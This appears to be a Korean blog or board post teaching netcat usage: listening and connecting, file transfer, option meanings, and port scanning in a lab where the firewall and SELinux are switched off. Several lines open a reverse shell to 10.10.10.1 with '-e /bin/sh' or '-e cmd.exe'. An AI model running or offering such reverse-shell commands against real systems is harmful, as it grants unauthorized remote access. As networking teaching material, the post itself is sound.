TCP UDP connection program server/client
Server port is opened for users to use its services.
nc -nlvp 4444 (server side)
nc -nv 10.10.10.1 4444 (client side)
Reverse connect
Usually when we connect to server to use services. But reverse connection is to connect to server to let them use client's pc.
nc -nlvp 4444 (server side)
nc -nv 10.10.10.1 4444 -e /bin/sh (client side)
Transferring files
nc -nlvp 4444 > incoming.exe (server side)
nc -nv 10.10.10.1 4444 </usr/share/windows-binaries/wget.exe (client side)
ncat -lvp 4444 -e cmd.exe --ssl
nc -nv 10.10.10.1 4444
netcat : network connection 에서 raw-data read,write 할수있는 유틸리티다.
-n : 호스트네임과 포트를 숫자로만 입력받는다.
-v : verbosity 를 증가시킨다. 더 많은 정보를 얻는다. 포트스캔시 오픈유무를 얻을수 있다.
-u : UDP 모드로 통신한다.
-p : -l 옵션과 같이 사용하며 데몬모드일때 로컬 포트를 지정한다.
-l : listen 모드로 대기한다.
-z : 데이타를 보내지 않고 통신을 종료한다. 보통 스캔할때 이 옵션을 사용한다.
그외 여러 옵션이 있는데 생략하고.
데이타 입력을 표준입력으로 부터 받을수 있고 출력은 표준출력으로 보낼수 있다.
따라서 네트워크 양 피어에서 한쪽에서는 파일을 쓰고 한쪽에서 받는다면 파일 카피같은것을 네트워크로 할수 있다.
포트스캔시 -v -z 옵션을 사용하는데 그 출력은 표준에러로 출력된다.
데이타를 가공할려면 표준에러를 잡아서 하여야 할것이다.
아래는 몇가지 예시.
## port 열려있는지 체크
netcat -v -z -w 3 host port
## range 형태로 포트체크(연결시도시 무응답인경우 3초까지(-w 3) 만 기달린다.
netcat -v -z -w 3 host port1-port2
## 원격지 머신에 tcp 연결후 데이타 쓰기
netcat -n host port < data.txt
## 원격지 머신에 udp 연결후 데이타 쓰기
netcat -u -n host port < data.txt
* NC (NetCat)
- 네트워크로 연결된 데이터를 사용하는 툴
- nc 네트워크 입출력
! 실습
@Server-A
(
#setenforce 0 => 방화벽 해제
#service iptables stop => 방화벽 해제
)
#yum install -y nc => nc설치
#nc -l [포트번호]
#nc -l 2000 => 포트활성화 (l : listen)
nc프로그램이 2000번 포트를 활성화(개방)하고 대기상태
@Practice
(
#setenforce 0
#service iptables stop
)
#yum install -y nc => nc설치
nc [아이피주소] [포트번호]
#nc 100.100.100.100 2000 => 100.100.100.100ip의 2000번 포트로 연결
-> 데이터 입력 후 Server-A에서 확인
Practice에서 hello라고 입력시
Server-A에서 hello가 나타나는 것을 확인할 수 있습니다.
-> Ctrl+d로 종료
포트 스캔
[사용 방법]
#nc -z [아이피] [특정포트] => 특정 포트만 스캐닝
#nc -z [아이피] [시작범위-종료범위] => 범위 포트 스캐닝
! 실습
@Practice
#nc -z 100.100.100.100 22 => ssh서비스 o
#nc -z 100.100.100.100 23 => telnet 서비스 x
#nc -z 100.100.100.100 80 => http 서비스 x
#nc -z 100.100.100.100 20-1000 => ssh 서비스 o
@Server-A
#yum install httpd => 웹서버 설치
#service httpd start => 웹서버 실행
#nc -z 100.100.100.100 22 => ssh서비스 o
#nc -z 100.100.100.100 23 => telnet 서비스 x
#nc -z 100.100.100.100 80 => http 서비스 o
#nc -z 100.100.100.100 20-1000 => ssh 서비스 o
http 서비스 o
댓글 0
번호 | 제목 | 날짜 | 조회 수 |
---|---|---|---|
126 |
주요정보통신기반시설 기술적 취약점 분석 평가 상세 가이드
![]() | 2019.03.20 | 831 |
125 | HP-UX networking - 11.31 10G NIC | 2019.03.19 | 1233 |
124 | TCP/IP Tuning parameter | 2019.03.15 | 2956 |
123 | hpux cmsnmpd daemon 중지 | 2019.02.28 | 442 |
122 | 아파치 2.2.29 버젼에서 SSLProtocol 중 TLSv1.2로 설정 | 2019.02.27 | 4555 |
121 | usage: raspistill [options] - Image parameter commands | 2018.11.16 | 1342 |
120 | [python] MySQL 사용법 예제 | 2018.10.24 | 717 |
» | netcat | 2018.10.09 | 1303 |
118 | hpux cron job 실행 에러 처리 방안 | 2018.07.06 | 712 |
117 | GeoIP 를 이용한 Apache 설정 - 국가별 접속 차단 | 2018.06.13 | 816 |
116 | 시스템 보안 과목 예상문제 풀이 | 2018.05.26 | 865 |
115 | Parameters for Web Server Plug-Ins | 2018.05.10 | 2520 |
114 | HTTP Status Code HTTP 상태 코드 | 2018.05.03 | 729 |
113 | http protocol 기본적인 이해 | 2018.04.27 | 373 |
112 | name server 보안 (bind) | 2018.04.26 | 1624 |